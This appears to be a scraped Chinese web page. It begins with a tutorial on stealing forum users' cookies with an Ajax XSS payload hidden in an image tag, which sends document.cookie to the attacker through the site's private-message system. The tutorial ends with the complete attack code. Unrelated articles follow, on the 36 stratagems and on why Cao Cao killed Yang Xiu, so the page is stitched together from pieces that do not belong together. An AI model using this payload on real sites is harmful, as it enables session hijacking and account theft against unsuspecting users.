Cookies甜点也不安全Cookies高级窃取法之Ajax

换句话说,Ajax(
【菜科解读】
当我们生活在现代结实的建筑下时,Ajax正在改变着Web的工作方式,它通过Javascript和XML为我们带来了直通Web的桌面式的功能。
换句话说,Ajax(Asynchronous Javascript and XML)去除了通过DHTML特效带来的烦琐的页面更新和链接,并将其变成十分有趣的桌面式应用程序。
Ajax不仅是一项技术,而且更不是单纯的技术的集合,当这些技术一起使用时,它提供了强有力的框架。
本文将试着教大家如何驾御这项技术来提高Cookies的窃取能力。
本文也是个对Ajax不错的介绍,因为它被用在一个独特并有趣的地方。
在阅读本文前,大家应该明白,Ajax只在Cookie窃取时有用,如果它绕过了站点的验证系统。
为了使它起作用,目标站点必须有一些私有消息(PM)系统来接收Cookies本身,这将有效地绕过浏览器的所有验证来发送请求。
通过Ajax窃取cookie?关键点! 大家可能很想知道Ajax是怎样帮助我们更隐秘地窃取Cookie的。
首先,这种通过Ajax查找的性质决定了它能够以XMLHttpRequest的形式向服务器发送任意请求。
从本质上看,它可以通过使用超文本链接或者嵌在网页中的各种数据提交控件来发送这些请求。
但通过使用Ajax,当一个用户点击了上述的链接时,请求被自动发送给服务器处理而不需要重定向到另一个页面,这就突破了页面更新的需要,并且把最终结果在Web中显示给用户。
只要Web浏览器添加一个合适的Javascript解释器(现在使用的大部分Web浏览器都有这个功能),这些假设就都是可能的。
所以,现在让我们想象一下并试用我们刚才学的Cookie窃取。
比如,大部分Cookie窃取者都用Javascript的Location方法:window.document.location="http://www.cookie窃取.com/讨厌的窃密者.php",在执行这句后,将完全重定位到一个不同的页面而不是用户请求的;我们再用javascript url:javascript: window.document.location="http://www.target.com"试一下,而这已经是老式的Cookie窃取的方法了。
接下来本文将教大家最新的关于如何利用Ajax重定向用户的请求到你选的Web页面的方法。
有时,攻击者要使窃取有创造性(老的方法)并且要使页面跟用户先前请求的页面一一模样,猜一下会怎样呢?现在很多用户会怀疑他们看到的URL不是原先那个域名的URL,而是看起来更象http://快来吧.com/窃取.php。
当他们看到这个,我们的机会就变成了被举报,并且网络管理员也会意识到什么被窃取了,然后问题就被解决了(当然,如果是在理想世界)。
使用Ajax,我们可以把数据附加在用户的Cookie当中,并悄悄地请求和发送到你想要的地方(当中也有一些不理想的地方,下面我们将会讨论它们是什么,该如何在这样的条件下运作)。
最后,当用户访问像论坛这样的网站后,我们的任务就完成了,Cookie被窃取,好象什么事都没发生(至少表面上是这样的)。
我是迷糊了,现在该如何开始呢? 在这么长的介绍之后,是时候开始编写我们的代码了,先开个头!为了达到我们的目的,我们要使Ajax与两大浏览器(Mozilla和IE)兼容。
为此,我们需要一些HTTP调试器,Paros Proxy或Microsoft Fiddler就可以了。
它们待会将记录请求,虽然不是必需的,但对我们的工作很有用。
注意:本文将利用常见的攻击方法(跨站脚本攻击)来证明这些代码。
我们要利用的是HTML中标签的SRC属性来完成我们的工作。
下面的基本代码可以通过简单地修改来满足大家的需要,完整的代码将在文章最后给出来。
前途是光明的 假设我们的任务是:渗透一个用PHP语言编写的未过滤Javascript或其他恶意代码的有图片个性签名的论坛,在没有人知道的情况下获得一个Cookie。
下面让我们开始这次 旅行 ,用没有危害的图像标签在SRC中隐藏我们的Javascript URL(XSS中常见的形式),具体代码如下所示。
var XMLHTTPRequestObject = false;if (window.XMLHttpRequest){ XMLHttpRequestObject = new XMLHttpRequest();}else if(window.ActiveXObject){ XMLHttpRequestObject = new ActiveXObject("Microsoft.XMLHTTP");}else{ alert("Javascript must be enabled to continue.");}上面的代码是个简单的测试,用以确定XMLHttpRequest对象是能够被创建的。
如果不行,代码会返回false并跳出对话框说 Javascript must be enabled to continue. 。
既然我们已经成功地创建了一个新的对象,我们该创建一个在成功载入后能向服务器发送请求的函数了。
但是当Ajax尝试访问一个外来的链接时,这里就有问题了。
通常,浏览器会提示是否确定本次访问,那我们的任务就失败了!如果要使我们的代码是秘密的致命的,我们就必须处理这种情况。
幸运的是,我们是对论坛进行测试,通常论坛都会有某些PM(private messaging)系统的,我们就用 以彼之道,还施彼身 的绝学(慕容家的,我偷用下)来实现,以消息的形式来发送我们的Cookies。
这不仅是通过在PHP中创建文件来重新得到Cookies,也可以打开文件来把它写入,这意味着我们已经绕过了访问外来链接时的限制,具体代码如下所示。
function socket(){/*下面这行很重要。
注意到了Cookie是以合法的字符串附加上去的吗?如果绕过站点用的是Post方法来发送消息的,那么就要修改一下代码并使用HTTP调试器做些必要的修改*/ XMLHttpRequestObject.open('GET','http://www.site.com/privatemessage.phpuser=yourusername&subject=' + window.document.cookie, true); XMLHttpRequestObject.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); XMLHttpRequestObject.send(null); //出于我们的善良 delete XMLHttpRequestObject;}//别忘了这是张图片,要闭合标签哦!window.document.onload='socket();'"> 兄弟姐妹们,现在我们已经做到了利用Ajax窃取Cookie的简单而有效的方法。
上面的代码只是作为例子提供的,并不是万能钥匙。
比如,如果PM系统用的是Post而不是Get方法,或者很想用图片却没法解除它的限制呢?本文应该能使大家学会编写出更厉害的隐秘的脚本的方法,至少大家应该对无须更新页面即可窃取Cookie有了一定的概念;但也要知道,这种对安全性差的站点的欺骗风险也是很大的,但如果方法得当,也是很难追踪的。
总之,本文是一个故事,讲了一个人结合了跨站脚本和跨站请求伪造来执行攻击的故事。
如果大家回过头看这些故事里使用的代码,会发现代码是利用了Ajax来执行的,记住哦。
完整的验证代码
if (window.XMLHttpRequest){ XMLHttpRequestObject = new XMLHttpRequest();}else if(window.ActiveXObject){ XMLHttpRequestObject = new ActiveXObject("Microsoft.XMLHTTP");}else{ alert("Javascript must be enabled to continue.");}function socket(){ XMLHttpRequestObject.open('GET', 'http://www.site.com/privatemessage.php?user=yourusername&subject=' + window.document.cookie, true); XMLHttpRequestObject.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); XMLHttpRequestObject.send(null); delete XMLHttpRequestObject;}window.document.onload='socket();'">
Cookies,甜点,也,不安全,高级,窃,取法,之,Aja三十六计中的第三计,郑桓公用过,皇太极也用过
译文是这样的“敌人的情况已经明确,而盟友的态度还未明朗,利用盟友的力量去消灭敌人,就不必自己付出什么力量了,这是从《损》卦中推演出来的计策”。
这一计策的名字源于《韩非子.内储说下》,当时郑桓公想要侵占郐国,但是郐国有不少的能臣勇将不好打。
他的谋士就为他出了一个计策,让手下人去讲郐国的英雄豪杰、能臣勇将的名字都记下来。
自己挑选了一个吉利的日子在城门边设了一个祭坛,一下子引来了很多人公布自己要攻打郐国的消息,并放出消息说郐国的能臣勇将不喜欢自己的国君,想要邀请自己做他们的国君,他假装宣誓当自己攻下郐国之后就将郐国的良田赠送给他们,并让他们做大官,然后将写有能臣勇将名字的帛书埋在了祭坛下面。
后来帛书到了郐国国君的手中,郐国国君一怒之下将这些人全都杀了,最后郐国被郑桓公不飞就灭了。
在历史中有一个经典的借刀杀人的事件,这就是皇太极计除袁崇焕,当时努尔哈赤率军攻打宁远,结果被袁崇焕挫伤满军锐气而败北,努尔哈赤也因为这件事羞愧愤懑,气急身亡。
他的儿子皇太极经过几年的准备再一次进攻。
这次他避开了宁远想要直插后方,但是袁崇焕及时赶到满军又一次败北。
为了除掉袁崇焕,又因为皇帝多疑,所以皇太极想到了一个借刀杀人的妙计。
他派人用重金贿赂明朝宦官。
让宦官“告密”。
宦官“告密”说袁崇焕因为与满军签订协议,所以满军才成功翻阅长城进入内地。
最终一代名将袁崇焕因为皇帝的不信任最终被斩首。
随机文章鲨鱼为什么怕海豚,鲨鱼为什么不吃海豚(海豚完胜鲨鱼/屌炸天)南极为什么没有北极熊,与南极洲的形成和北极熊祖先有关巴拿马运河谁修的,巴拿马运河是美国的吗(美国建造/不属于美国)诺贝尔奖为什么发不完,诺贝尔奖金还剩多少钱(投资理财/钱滚钱)一生比较倒霉的生肖,生肖牛/猪/兔败在性格上(只能求贵人相助)
一代奸雄曹操既然杀了杨修,为什么没有把宣皇帝司马懿也一起杀掉
《》说“自震至彪,四世太尉”。
为人好学,有俊才,建安年间被举孝廉,除郎中,后担任丞相的主簿。
不过,对于聪明的杨修,曹操非常不喜欢,对此,曹操曾写信给杨彪中提到:“足下贤子,恃豪父之势,每不与吾同怀,即欲直绳,顾颇恨恨。
”最终于建安二十四年秋天,也即公元219年,杨修被曹操以“前后漏泄言教,交关诸侯”凡罪犯收杀,对此,杨修在临死前叹息:“我固自以死之晚也。
”那么,问题来了,曹操临死之前,为何不杀,反而杀了杨修?毕竟对于司马懿所在的司,最终篡夺了曹魏的江山。
一 首先,根据《三国志》等史料的记载,建安二十五年(220年)正月,曹操还军洛阳。
当月,病逝在洛阳,终年六十六岁,谥曰武王。
由此,曹操是在公元220年病逝的。
而在公元219年,也即曹操临终前,选择杀了杨修,却放过了司马懿。
那么,问题来了,对于司马懿和杨修,曹操为何一放一杀呢?对此,一方面,就曹操来说,其之所以放过司马懿,主要还是因为后者比较谨慎,没有犯什么可以借题发挥的错误。
在汉末三国这一历史阶段,司马懿也是个士族子弟,家族势力非常显赫,他也是个的智谋之士,这点和杨修有点像。
二 但是,相对于性格张扬的杨修,司马懿则非常低调深沉。
当然,后来曹操还是发现司马懿抱负远大,有雄心壮志,似乎不甘于人臣,越来越像年轻时的自己。
在此基础上,曹操对司马懿还是存在一定的杀心。
不过,自此之后,司马懿就更加谨慎和低调了。
因为司马懿获得了的支持,也即司马懿确实是个不可多得的智谋之士,此时、等谋士都已死去,所以对于之后即位的曹丕,也需要司马懿这样的谋士来辅佐。
在此基础上,出于长远的考虑,曹操决定放过司马懿,以此为之后即位的曹丕留下一位人才。
三 另一方面,历史上杨修被杀的原因,分为正史和演义小说两个版本。
这两个版本有一些共同点,但又不完全一样。
其实我们绝大多数人熟知的杨修之死,是《》里面的情节,并不是正载中的曹操杀杨修的原因。
在《三国志》等正史中,曹操曾写信给杨彪中提到:“足下贤子,恃豪父之势,每不与吾同怀,即欲直绳,顾颇恨恨。
”最终于建安二十四年秋天,被曹操以“前后漏泄言教,交关诸侯”凡罪犯收杀,杨修叹息:“我固自以死之晚也。
对此,在不少历史学者看来,曹操之所以杀了杨修,一方面是杨修数次助通过曹操的考验,这让曹操非常不满。
四 最后,在明确曹丕作为世子后,曹操决定对曹植身边的杨修痛下杀手,以此消除曹丕之后的威胁。
换而言之,如果曹操不少杨修,后者显然会成为曹植的助力,而曹植和曹丕之间的争夺,势必加剧曹魏内部的消耗,从而让蜀汉和东吴获益。
另一方面,杨修背后所在的世家大族,也让曹操颇为顾忌。
由此,曹操杀杨修,也是希望给曹魏内部的世家大族以震慑。
此外,杨修会在曹操死之前的数个月内被杀掉,有一部分的原因是因为曹杨两家的嫌隙,毕竟当时杨修可是掌握着丞相府的很多秘密。
总的来说,曹操最终放过了司马懿,却杀掉了杨修。
随机文章秦始皇心中的长城与康熙皇心中的长城最显著的不同是什么?如果没有秦始皇,那秦国是否能够统一天下?揭秘人体生物钟之谜,生物钟紊乱会导致性功能减退杰里科3弹道导弹简析,射程5000公里可打击中东所有国家88年天空上出现孙悟空,悟空踩七彩云惊现空中(专家已辟谣)